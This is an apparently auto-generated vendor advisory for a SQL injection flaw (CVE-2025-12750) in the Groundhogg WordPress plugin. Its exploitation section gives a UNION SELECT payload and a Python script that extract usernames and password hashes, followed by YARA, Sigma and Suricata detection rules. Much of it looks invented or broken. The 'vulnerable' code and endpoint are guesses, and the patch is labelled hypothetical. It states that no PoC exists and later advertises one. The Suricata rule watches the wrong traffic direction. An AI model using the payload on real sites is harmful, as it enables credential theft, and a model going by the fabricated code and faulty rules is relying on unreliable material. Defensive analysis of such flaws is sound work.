CVE-2025-12750
Executive Summary
CVE-2025-12750 is a SQL Injection vulnerability discovered in the Groundhogg — CRM, Newsletters, and Marketing Automation plugin for WordPress. The flaw exists in all versions up to and including 4.2.6.1. An authenticated attacker with Administrator-level access can exploit the term parameter to inject arbitrary SQL queries into existing database queries. This allows extraction of sensitive information from the WordPress database, including user credentials, session tokens, and other confidential data.
The vulnerability is classified as a WordPress ecosystem issue, specifically within the Groundhogg plugin. The CVSS score is 4.9 (Medium), with a low EPSS score of 0.0%, indicating low exploitation likelihood at this time. No public proof-of-concept (PoC) code or patch details are currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 4.9 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (Administrator)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: None
- Availability Impact: None
Threat Level: Medium. While the vulnerability requires high privileges, a compromised administrator account could lead to full database compromise. The lack of public exploits and low EPSS score reduces immediate risk, but the potential for data exfiltration is significant.
Deep Dive & Mechanics
The vulnerability resides in the Groundhogg plugin's handling of the term parameter during database queries. The plugin fails to properly escape user-supplied input and does not use prepared statements, allowing an attacker to inject malicious SQL code.
Root Cause:
- Insufficient input sanitization on the
termparameter. - Lack of parameterized queries (prepared statements) in the SQL execution path.
Attack Flow:
- An authenticated administrator sends a crafted HTTP request to a vulnerable endpoint (e.g.,
/wp-admin/admin-ajax.php?action=groundhogg_search&term=INJECTION). - The
termparameter is concatenated directly into an SQL query without proper escaping. - The injected SQL is executed, allowing the attacker to extract data from the
wp_users,wp_usermeta, or other tables.
Example Vulnerable Endpoint:
$term = $_GET['term'];
$query = "SELECT * FROM wp_groundhogg_contacts WHERE name LIKE '%$term%'";
$results = $wpdb->get_results($query);
Vulnerable vs. Patched Code
Vulnerable Code (<= 4.2.6.1):
$term = $_GET['term'];
$query = "SELECT * FROM wp_groundhogg_contacts WHERE name LIKE '%$term%'";
$results = $wpdb->get_results($query);
Patched Code (Hypothetical):
$term = sanitize_text_field($_GET['term']);
$query = $wpdb->prepare("SELECT * FROM wp_groundhogg_contacts WHERE name LIKE %s", '%' . $term . '%');
$results = $wpdb->get_results($query);
The patched version uses $wpdb->prepare() to safely bind the parameter, preventing SQL injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with Groundhogg plugin version <= 4.2.6.1.
- Valid administrator credentials.
Exploitation Steps:
- Log in as an administrator.
- Craft a malicious request to the vulnerable endpoint:
POST /wp-admin/admin-ajax.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Cookie: wordpress_logged_in_xxx=admin_session action=groundhogg_search&term=' UNION SELECT user_login,user_pass FROM wp_users-- - The injected SQL extracts usernames and password hashes from the
wp_userstable.
Example SQL Injection Payload:
' UNION SELECT user_login,user_pass FROM wp_users--
Automated Exploit (Python):
import requests
target = "http://target.com/wp-admin/admin-ajax.php"
cookies = {"wordpress_logged_in_xxx": "admin_session"}
payload = "' UNION SELECT user_login,user_pass FROM wp_users--"
data = {"action": "groundhogg_search", "term": payload}
response = requests.post(target, cookies=cookies, data=data)
print(response.text)
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual SQL queries in database logs.
- Look for HTTP requests containing SQL keywords (UNION, SELECT, FROM) in the
termparameter. - Alert on administrator-level access to Groundhogg endpoints with suspicious parameters.
Defense:
- Apply input validation and parameterized queries.
- Restrict administrator access to trusted IPs.
- Enable Web Application Firewall (WAF) rules to block SQL injection patterns.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/wp-admin/admin-ajax.phpwithaction=groundhogg_searchandtermparameter containing SQL keywords. - Unusual database queries in MySQL logs (e.g.,
UNION SELECT).
Host IOCs:
- Modified WordPress database entries (e.g., new admin users).
- Suspicious files in
/wp-content/plugins/groundhogg/directory.
Log IOCs:
- Apache/Nginx access logs showing
admin-ajax.phpwithtermparameter. - MySQL general query log entries with injected SQL.
Detection Engineering
YARA Rule
rule CVE_2025_12750_SQLi_Groundhogg {
meta:
description = "Detects SQL injection attempts targeting Groundhogg plugin CVE-2025-12750"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-12750"
strings:
$sqli1 = "UNION SELECT" nocase
$sqli2 = "OR 1=1" nocase
$sqli3 = "admin-ajax.php" nocase
$sqli4 = "groundhogg_search" nocase
condition:
all of ($sqli*) and filesize < 10KB
}
Sigma Rule
title: CVE-2025-12750 Groundhogg SQL Injection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts via the 'term' parameter in Groundhogg plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'action=groundhogg_search'
cs-uri-query|contains: 'term='
cs-uri-query|re: '(UNION|SELECT|OR\s+1=1|DROP|INSERT)'
condition: selection
falsepositives:
- Legitimate search queries with similar patterns
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-12750 Groundhogg SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=groundhogg_search"; http_client_body; pcre:"/(UNION|SELECT|OR\s+1=1|DROP|INSERT)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Groundhogg plugin until a patch is available.
- Restrict administrator access to trusted IP addresses.
- Enable WAF rules to block SQL injection patterns.
Long-Term Fix:
- Apply parameterized queries using
$wpdb->prepare()in all database interactions. - Implement input validation and sanitization for all user-supplied parameters.
- Regularly update the plugin to the latest version.
Workaround:
- Use a security plugin (e.g., Wordfence) to add virtual patching for SQL injection.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.